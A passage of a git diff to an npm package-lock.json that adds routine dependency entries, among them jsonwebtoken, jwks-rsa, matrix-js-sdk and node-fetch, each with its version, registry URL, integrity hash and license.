"node": ">=0.10.0" } }, + "node_modules/is-network-error": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/is-network-error/-/is-network-error-1.3.1.tgz", + "integrity": "sha512-6QCxa49rQbmUWLfk0nuGqzql9U8uaV2H6279bRErPBHe/109hCzsLUBUHfbEtvLIHBd6hyXbgedBSHevm43Edw==", + "license": "MIT", + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/is-plain-obj": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-4.1.0.tgz", @@ -2715,12 +5436,39 @@ "url": "https://github.com/sponsors/sindresorhus" } }, + "node_modules/is-promise": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-4.0.0.tgz", + "integrity": "sha512-hvpoI6korhJMnej285dSg6nu1+e6uxs7zG3BYAm5byqDsgJNWwxzM6z6iZiAgQR4TJ30JmBTOwqZUw3WlyH3AQ==", + "license": "MIT" + }, + "node_modules/is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/isexe": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", "dev": true }, + "node_modules/jose": { + "version": "4.15.9", + "resolved": "https://registry.npmjs.org/jose/-/jose-4.15.9.tgz", + "integrity": "sha512-1vUQX+IdDMVPj4k8kOxgUqlcK518yluMuGZwqlr44FS1ppZB/5GWh4rZG89erpOBOJjU/OBsnCVFfapsRz6nEA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/panva" + } + }, "node_modules/js-yaml": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz", @@ -2733,6 +5481,15 @@ "js-yaml": "bin/js-yaml.js" } }, + "node_modules/json-bigint": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-bigint/-/json-bigint-1.0.0.tgz", + "integrity": "sha512-SiPv/8VpZuWbvLSMtTDU8hEfrZWg/mH/nV/b4o0CYbSxu1UIQPLdwKOCIyLQX+VIPO5vrLX3i8qtqFyhdPSUSQ==", + "license": "MIT", + "dependencies": { + "bignumber.js": "^9.0.0" + } + }, "node_modules/json-buffer": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", @@ -2751,6 +5508,80 @@ "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==", "dev": true }, + "node_modules/json-with-bigint": { + "version": "3.5.8", + "resolved": "https://registry.npmjs.org/json-with-bigint/-/json-with-bigint-3.5.8.tgz", + "integrity": "sha512-eq/4KP6K34kwa7TcFdtvnftvHCD9KvHOGGICWwMFc4dOOKF5t4iYqnfLK8otCRCRv06FXOzGGyqE8h8ElMvvdw==", + "license": "MIT" + }, + "node_modules/jsonwebtoken": { + "version": "9.0.3", + "resolved": "https://registry.npmjs.org/jsonwebtoken/-/jsonwebtoken-9.0.3.tgz", + "integrity": "sha512-MT/xP0CrubFRNLNKvxJ2BYfy53Zkm++5bX9dtuPbqAeQpTVe0MQTFhao8+Cp//EmJp244xt6Drw/GVEGCUj40g==", + "license": "MIT", + "dependencies": { + "jws": "^4.0.1", + "lodash.includes": "^4.3.0", + "lodash.isboolean": "^3.0.3", + "lodash.isinteger": "^4.0.4", + "lodash.isnumber": "^3.0.3", + "lodash.isplainobject": "^4.0.6", + "lodash.isstring": "^4.0.1", + "lodash.once": "^4.0.0", + "ms": "^2.1.1", + "semver": "^7.5.4" + }, + "engines": { + "node": ">=12", + "npm": ">=6" + } + }, + "node_modules/jwa": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/jwa/-/jwa-2.0.1.tgz", + "integrity": "sha512-hRF04fqJIP8Abbkq5NKGN0Bbr3JxlQ+qhZufXVr0DvujKy93ZCbXZMHDL4EOtodSbCWxOqR8MS1tXA5hwqCXDg==", + "license": "MIT", + "dependencies": { + "buffer-equal-constant-time": "^1.0.1", + "ecdsa-sig-formatter": "1.0.11", + "safe-buffer": "^5.0.1" + } + }, + "node_modules/jwks-rsa": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/jwks-rsa/-/jwks-rsa-3.2.2.tgz", + "integrity": "sha512-BqTyEDV+lS8F2trk3A+qJnxV5Q9EqKCBJOPti3W97r7qTympCZjb7h2X6f2kc+0K3rsSTY1/6YG2eaXKoj497w==", + "license": "MIT", + "dependencies": { + "@types/jsonwebtoken": "^9.0.4", + "debug": "^4.3.4", + "jose": "^4.15.4", + "limiter": "^1.1.5", + "lru-memoizer": "^2.2.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/jws": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/jws/-/jws-4.0.1.tgz", + "integrity": "sha512-EKI/M/yqPncGUUh44xz0PxSidXFr/+r0pA70+gIYhjv+et7yxM+s29Y+VGDkovRofQem0fs7Uvf4+YmAdyRduA==", + "license": "MIT", + "dependencies": { + "jwa": "^2.0.1", + "safe-buffer": "^5.0.1" + } + }, + "node_modules/jwt-decode": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/jwt-decode/-/jwt-decode-4.0.0.tgz", + "integrity": "sha512-+KJGIyHgkGuIq3IEBNftfhW/LfWhXUIY6OmyVWjliu5KH1y0fw7VQ8YndE2O4qZdMSd9SqbnC8GOcZEy0Om7sA==", + "license": "MIT", + "engines": { + "node": ">=18" + } + }, "node_modules/keyv": { "version": "4.5.4", "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz", @@ -2760,6 +5591,15 @@ "json-buffer": "3.0.1" } }, + "node_modules/leac": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/leac/-/leac-0.6.0.tgz", + "integrity": "sha512-y+SqErxb8h7nE/fiEX07jsbuhrpO9lL8eca7/Y1nuWV2moNlXhyd59iDGcRf6moVyDMbmTNzL40SUyrFU/yDpg==", + "license": "MIT", + "funding": { + "url": "https://ko-fi.com/killymxi" + } + }, "node_modules/levn": { "version": "0.4.1", "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", @@ -2773,6 +5613,11 @@ "node": ">= 0.8.0" } }, + "node_modules/limiter": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/limiter/-/limiter-1.1.5.tgz", + "integrity": "sha512-FWWMIEOxz3GwUI4Ts/IvgVy6LPvoMPgjMdQ185nN6psJyBJ4yOpzqm695/h5umdLJg2vW3GR5iG11MAkR2AzJA==" + }, "node_modules/locate-path": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", @@ -2794,18 +5639,79 @@ "integrity": "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==", "license": "MIT" }, + "node_modules/lodash.clonedeep": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.clonedeep/-/lodash.clonedeep-4.5.0.tgz", + "integrity": "sha512-H5ZhCF25riFd9uB5UCkVKo61m3S/xZk1x4wA6yp/L3RFP6Z/eHH1ymQcGLo7J3GMPfm0V/7m1tryHuGVxpqEBQ==", + "license": "MIT" + }, + "node_modules/lodash.includes": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/lodash.includes/-/lodash.includes-4.3.0.tgz", + "integrity": "sha512-W3Bx6mdkRTGtlJISOvVD/lbqjTlPPUDTMnlXZFnVwi9NKJ6tiAk6LVdlhZMm17VZisqhKcgzpO5Wz91PCt5b0w==", + "license": "MIT" + }, + "node_modules/lodash.isboolean": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/lodash.isboolean/-/lodash.isboolean-3.0.3.tgz", + "integrity": "sha512-Bz5mupy2SVbPHURB98VAcw+aHh4vRV5IPNhILUCsOzRmsTmSQ17jIuqopAentWoehktxGd9e/hbIXq980/1QJg==", + "license": "MIT" + }, + "node_modules/lodash.isinteger": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/lodash.isinteger/-/lodash.isinteger-4.0.4.tgz", + "integrity": "sha512-DBwtEWN2caHQ9/imiNeEA5ys1JoRtRfY3d7V9wkqtbycnAmTvRRmbHKDV4a0EYc678/dia0jrte4tjYwVBaZUA==", + "license": "MIT" + }, + "node_modules/lodash.isnumber": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/lodash.isnumber/-/lodash.isnumber-3.0.3.tgz", + "integrity": "sha512-QYqzpfwO3/CWf3XP+Z+tkQsfaLL/EnUlXWVkIk5FUPc4sBdTehEqZONuyRt2P67PXAk+NXmTBcc97zw9t1FQrw==", + "license": "MIT" + }, + "node_modules/lodash.isplainobject": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz", + "integrity": "sha512-oSXzaWypCMHkPC3NvBEaPHf0KsA5mvPrOPgQWDsbg8n7orZ290M0BmC/jgRZ4vcJ6DTAhjrsSYgdsW/F+MFOBA==", + "license": "MIT" + }, + "node_modules/lodash.isstring": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/lodash.isstring/-/lodash.isstring-4.0.1.tgz", + "integrity": "sha512-0wJxfxH1wgO3GrbuP+dTTk7op+6L41QCXbGINEmD+ny/G/eCqGzxyCsh7159S+mgDDcoarnBw6PC1PS5+wUGgw==", + "license": "MIT" + }, "node_modules/lodash.merge": { "version": "4.6.2", "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", "dev": true }, + "node_modules/lodash.once": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/lodash.once/-/lodash.once-4.1.1.tgz", + "integrity": "sha512-Sb487aTOCr9drQVL8pIxOzVhafOjZN9UU54hiN8PU3uAiSV7lx1yYNpbNmex2PK6dSJoNTSJUUswT651yww3Mg==", + "license": "MIT" + }, "node_modules/lodash.snakecase": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/lodash.snakecase/-/lodash.snakecase-4.1.1.tgz", "integrity": "sha512-QZ1d4xoBHYUeuouhEq3lk3Uq7ldgyFXGBhg04+oRLnIz8o9T65Eh+8YdroUwn846zchkA9yDsDl5CVVaV2nqYw==", "license": "MIT" }, + "node_modules/loglevel": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/loglevel/-/loglevel-1.9.2.tgz", + "integrity": "sha512-HgMmCqIJSAKqo68l0rS2AanEWfkxaZ5wNiEFb5ggm08lDs9Xl2KxBlX3PTcaD2chBM1gXAYf491/M2Rv8Jwayg==", + "license": "MIT", + "engines": { + "node": ">= 0.6.0" + }, + "funding": { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/loglevel" + } + }, "node_modules/longest-streak": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/longest-streak/-/longest-streak-3.1.0.tgz", @@ -2816,6 +5722,28 @@ "url": "https://github.com/sponsors/wooorm" } }, + "node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "license": "ISC", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/lru-memoizer": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/lru-memoizer/-/lru-memoizer-2.3.0.tgz", + "integrity": "sha512-GXn7gyHAMhO13WSKrIiNfztwxodVsP8IoZ3XfrJV4yH2x0/OeTO/FIaAHTY5YekdGgW94njfuKmyyt1E0mR6Ug==", + "license": "MIT", + "dependencies": { + "lodash.clonedeep": "^4.5.0", + "lru-cache": "6.0.0" + } + }, "node_modules/luxon": { "version": "3.7.2", "resolved": "https://registry.npmjs.org/luxon/-/luxon-3.7.2.tgz", @@ -2851,6 +5779,96 @@ "url": "https://github.com/sponsors/wooorm" } }, + "node_modules/marked": { + "version": "15.0.12", + "resolved": "https://registry.npmjs.org/marked/-/marked-15.0.12.tgz", + "integrity": "sha512-8dD6FusOQSrpv9Z1rdNMdlSgQOIP880DHqnohobOmYLElGEqAL/JvxvuxZO16r4HtjTlfPRDC1hbvxC9dPN2nA==", + "license": "MIT", + "bin": { + "marked": "bin/marked.js" + }, + "engines": { + "node": ">= 18" + } + }, + "node_modules/math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/matrix-events-sdk": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/matrix-events-sdk/-/matrix-events-sdk-0.0.1.tgz", + "integrity": "sha512-1QEOsXO+bhyCroIe2/A5OwaxHvBm7EsSQ46DEDn8RBIfQwN5HWBpFvyWWR4QY0KHPPnnJdI99wgRiAl7Ad5qaA==", + "license": "Apache-2.0" + }, + "node_modules/matrix-js-sdk": { + "version": "41.3.0", + "resolved": "https://registry.npmjs.org/matrix-js-sdk/-/matrix-js-sdk-41.3.0.tgz", + "integrity": "sha512-QTNHpBQEKPH3WS4O92CBfFj6GxeyijT8osI/QxNvOrM3rE6CySXRtRRKnzR0ntFSdrk1CxrDGV6h2wmk7B3peQ==", + "license": "Apache-2.0", + "dependencies": { + "@babel/runtime": "^7.12.5", + "@matrix-org/matrix-sdk-crypto-wasm": "^18.0.0", + "another-json": "^0.2.0", + "bs58": "^6.0.0", + "content-type": "^1.0.4", + "jwt-decode": "^4.0.0", + "loglevel": "^1.9.2", + "matrix-events-sdk": "0.0.1", + "matrix-widget-api": "^1.16.1", + "oidc-client-ts": "^3.0.1", + "p-retry": "7", + "sdp-transform": "^3.0.0", + "unhomoglyph": "^1.0.6", + "uuid": "13" + }, + "engines": { + "node": ">=22.0.0" + } + }, + "node_modules/matrix-js-sdk/node_modules/p-retry": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/p-retry/-/p-retry-7.1.1.tgz", + "integrity": "sha512-J5ApzjyRkkf601HpEeykoiCvzHQjWxPAHhyjFcEUP2SWq0+35NKh8TLhpLw+Dkq5TZBFvUM6UigdE9hIVYTl5w==", + "license": "MIT", + "dependencies": { + "is-network-error": "^1.1.0" + }, + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/matrix-js-sdk/node_modules/uuid": { + "version": "13.0.0", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-13.0.0.tgz", + "integrity": "sha512-XQegIaBTVUjSHliKqcnFqYypAd4S+WCYt5NIeRs6w/UAry7z8Y9j5ZwRRL4kzq9U3sD6v+85er9FvkEaBpji2w==", + "funding": [ + "https://github.com/sponsors/broofa", + "https://github.com/sponsors/ctavan" + ], + "license": "MIT", + "bin": { + "uuid": "dist-node/bin/uuid" + } + }, + "node_modules/matrix-widget-api": { + "version": "1.17.0", + "resolved": "https://registry.npmjs.org/matrix-widget-api/-/matrix-widget-api-1.17.0.tgz", + "integrity": "sha512-5FHoo3iEP3Bdlv5jsYPWOqj+pGdFQNLWnJLiB0V7Ygne7bb+Gsj3ibyFyHWC6BVw+Z+tSW4ljHpO17I9TwStwQ==", + "license": "Apache-2.0", + "dependencies": { + "@types/events": "^3.0.0", + "events": "^3.2.0" + } + }, "node_modules/mdast-util-find-and-replace": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/mdast-util-find-and-replace/-/mdast-util-find-and-replace-3.0.2.tgz", @@ -3018,6 +6036,27 @@ "url": "https://opencollective.com/unified" } }, + "node_modules/mdast-util-to-hast": { + "version": "13.2.1", + "resolved": "https://registry.npmjs.org/mdast-util-to-hast/-/mdast-util-to-hast-13.2.1.tgz", + "integrity": "sha512-cctsq2wp5vTsLIcaymblUriiTcZd0CwWtCbLvrOzYCDZoWyMNV8sZ7krj09FSnsiJi3WVsHLM4k6Dq/yaPyCXA==", + "license": "MIT", + "dependencies": { + "@types/hast": "^3.0.0", + "@types/mdast": "^4.0.0", + "@ungap/structured-clone": "^1.0.0", + "devlop": "^1.0.0", + "micromark-util-sanitize-uri": "^2.0.0", + "trim-lines": "^3.0.0", + "unist-util-position": "^5.0.0", + "unist-util-visit": "^5.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, "node_modules/mdast-util-to-markdown": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/mdast-util-to-markdown/-/mdast-util-to-markdown-2.1.2.tgz", @@ -3052,6 +6091,27 @@ "url": "https://opencollective.com/unified" } }, + "node_modules/media-typer": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-1.1.0.tgz", + "integrity": "sha512-aisnrDP4GNe06UcKFnV5bfMNPBUw4jsLGaWwWfnH3v02GnBuXX2MCVn5RbrWo0j3pczUilYblq7fQ7Nw2t5XKw==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/merge-descriptors": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-2.0.0.tgz", + "integrity": "sha512-Snk314V5ayFLhp3fkUREub6WtjBfPdCPY1Ln8/8munuLuiYhsABgBVWsozAG+MWMbVEvcdcpbi9R7ww22l9Q3g==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/micromark": { "version": "4.0.2", "resolved": "https://registry.npmjs.org/micromark/-/micromark-4.0.2.tgz", @@ -3615,6 +6675,31 @@ ], "license": "MIT" }, + "node_modules/mime-db": { + "version": "1.54.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz", + "integrity": "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz", + "integrity": "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A==", + "license": "MIT", + "dependencies": { + "mime-db": "^1.54.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, "node_modules/mimic-response": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", @@ -3691,6 +6776,15 @@ "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", "dev": true }, + "node_modules/negotiator": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-1.0.0.tgz", + "integrity": "sha512-8Ofs/AUQh8MaEcrlq5xOX0CQ9ypTF5dl78mjlMNfOK08fzpgTHQRQPBxcPlEtIw0yRpws+Zo/3r+5WRby7u3Gg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, "node_modules/node-abi": { "version": "3.87.0", "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-3.87.0.tgz", @@ -3703,6 +6797,96 @@ "node": ">=10" } }, + "node_modules/node-domexception": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/node-domexception/-/node-domexception-1.0.0.tgz", + "integrity": "sha512-/jKZoMpw0F8GRwl4/eLROPA3cfcXtLApP0QzLmUT/HuPCZWyB7IY9ZrMeKw2O/nFIqPQB3PVM9aYm0F312AXDQ==", + "deprecated": "Use your platform's native DOMException instead", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/jimmywarting" + }, + { + "type": "github", + "url": "https://paypal.me/jimmywarting" + } + ], + "license": "MIT", + "engines": { + "node": ">=10.5.0" + } + }, + "node_modules/node-fetch": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-3.3.2.tgz", + "integrity": "sha512-dRB78srN/l6gqWulah9SrxeYnxeddIG30+GOqK/9OlLVyLg3HPnr6SqOWTWOXKRwC2eGYCkZ59NNuSgvSrpgOA==", + "license": "MIT", + "dependencies": { + "data-uri-to-buffer": "^4.0.0", + "fetch-blob": "^3.1.4", + "formdata-polyfill": "^4.0.10" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/node-fetch" + } + }, + "node_modules/node-html-parser": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/node-html-parser/-/node-html-parser-7.1.0.tgz", + "integrity": "sha512-iJo8b2uYGT40Y8BTyy5ufL6IVbN8rbm/1QK2xffXU/1a/v3AAa0d1YAoqBNYqaS4R/HajkWIpIfdE6KcyFh1AQ==", + "license": "MIT", + "dependencies": { + "css-select": "^5.1.0", + "he": "1.2.0" + } + }, + "node_modules/node-typedstream": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/node-typedstream/-/node-typedstream-1.4.1.tgz", + "integrity": "sha512-W9zcPlI3RRPOmwaDjwRyr7aYLoJFbvLIIHluFM3I+KZjAlbyhG4L3jSTEJlQmDqrMRQlFVTmivgJWgFlvWXx2Q==", + "license": "MIT", + "dependencies": { + "bplist-parser": "^0.3.2" + } + }, + "node_modules/nth-check": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.1.1.tgz", + "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==", + "license": "BSD-2-Clause", + "dependencies": { + "boolbase": "^1.0.0" + }, + "funding": { + "url": "https://github.com/fb55/nth-check?sponsor=1" + } + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-inspect": { + "version": "1.13.4", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz", + "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, "node_modules/obug": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/obug/-/obug-2.1.1.tgz", @@ -3714,6 +6898,30 @@ ], "license": "MIT" }, + "node_modules/oidc-client-ts": { + "version": "3.5.0", + "resolved": "https://registry.npmjs.org/oidc-client-ts/-/oidc-client-ts-3.5.0.tgz", + "integrity": "sha512-l2q8l9CTCTOlbX+AnK4p3M+4CEpKpyQhle6blQkdFhm0IsBqsxm15bYaSa11G7pWdsYr6epdsRZxJpCyCRbT8A==", + "license": "Apache-2.0", + "dependencies": { + "jwt-decode": "^4.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/on-finished": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", + "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", + "license": "MIT", + "dependencies": { + "ee-first": "1.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, "node_modules/once": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", @@ -3740,6 +6948,15 @@ "node": ">= 0.8.0" } }, + "node_modules/p-finally": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", + "integrity": "sha512-LICb2p9CB7FS+0eR1oqWnHhp0FljGLZCWBE9aix0Uye9W8LTQPwMTYVGWQWIw9RdQiDg4+epXQODwIYJtSJaow==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, "node_modules/p-limit": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", @@ -3770,6 +6987,53 @@ "url": "https://github.com/sponsors/sindresorhus" } }, + "node_modules/p-queue": { + "version": "6.6.2", + "resolved": "https://registry.npmjs.org/p-queue/-/p-queue-6.6.2.tgz", + "integrity": "sha512-RwFpb72c/BhQLEXIZ5K2e+AhgNVmIejGlTgiB9MzZ0e93GRvqZ7uSi0dvRF7/XIXDeNkra2fNHBxTyPDGySpjQ==", + "license": "MIT", + "dependencies": { + "eventemitter3": "^4.0.4", + "p-timeout": "^3.2.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-queue/node_modules/eventemitter3": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.7.tgz", + "integrity": "sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==", + "license": "MIT" + }, + "node_modules/p-retry": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/p-retry/-/p-retry-4.6.2.tgz", + "integrity": "sha512-312Id396EbJdvRONlngUx0NydfrIQ5lsYu0znKVUzVvArzEIt08V1qhtyESbGVd1FGX7UKtiFp5uwKZdM8wIuQ==", + "license": "MIT", + "dependencies": { + "@types/retry": "0.12.0", + "retry": "^0.13.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/p-timeout": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/p-timeout/-/p-timeout-3.2.0.tgz", + "integrity": "sha512-rhIwUycgwwKcP9yTOOFK/AKsAopjjCakVqLHePO3CC6Mir1Z99xT+R63jZxAT5lFZLa2inS5h+ZS2GvR99/FBg==", + "license": "MIT", + "dependencies": { + "p-finally": "^1.0.0" + }, + "engines": { + "node": ">=8" + } + }, "node_modules/parent-module": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", @@ -3782,6 +7046,28 @@ "node": ">=6" } }, + "node_modules/parseley": { + "version": "0.12.1", + "resolved": "https://registry.npmjs.org/parseley/-/parseley-0.12.1.tgz", + "integrity": "sha512-e6qHKe3a9HWr0oMRVDTRhKce+bRO8VGQR3NyVwcjwrbhMmFCX9KszEV35+rn4AdilFAq9VPxP/Fe1wC9Qjd2lw==", + "license": "MIT", + "dependencies": { + "leac": "^0.6.0", + "peberminta": "^0.9.0" + }, + "funding": { + "url": "https://ko-fi.com/killymxi" + } + }, + "node_modules/parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, "node_modules/path-exists": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", @@ -3800,6 +7086,16 @@ "node": ">=8" } }, + "node_modules/path-to-regexp": { + "version": "8.4.2", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-8.4.2.tgz", + "integrity": "sha512-qRcuIdP69NPm4qbACK+aDogI5CBDMi1jKe0ry5rSQJz8JVLsC7jV8XpiJjGRLLol3N+R5ihGYcrPLTno6pAdBA==", + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, "node_modules/pathe": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz", @@ -3807,6 +7103,15 @@ "dev": true, "license": "MIT" }, + "node_modules/peberminta": { + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/peberminta/-/peberminta-0.9.0.tgz", + "integrity": "sha512-XIxfHpEuSJbITd1H3EeQwpcZbTLHc+VVr8ANI9t5sit565tsI4/xK3KWTUFE2e6QiangUkh3B0jihzmGnNrRsQ==", + "license": "MIT", + "funding": { + "url": "https://ko-fi.com/killymxi" + } + }, "node_modules/picocolors": { "version": "1.1.1", 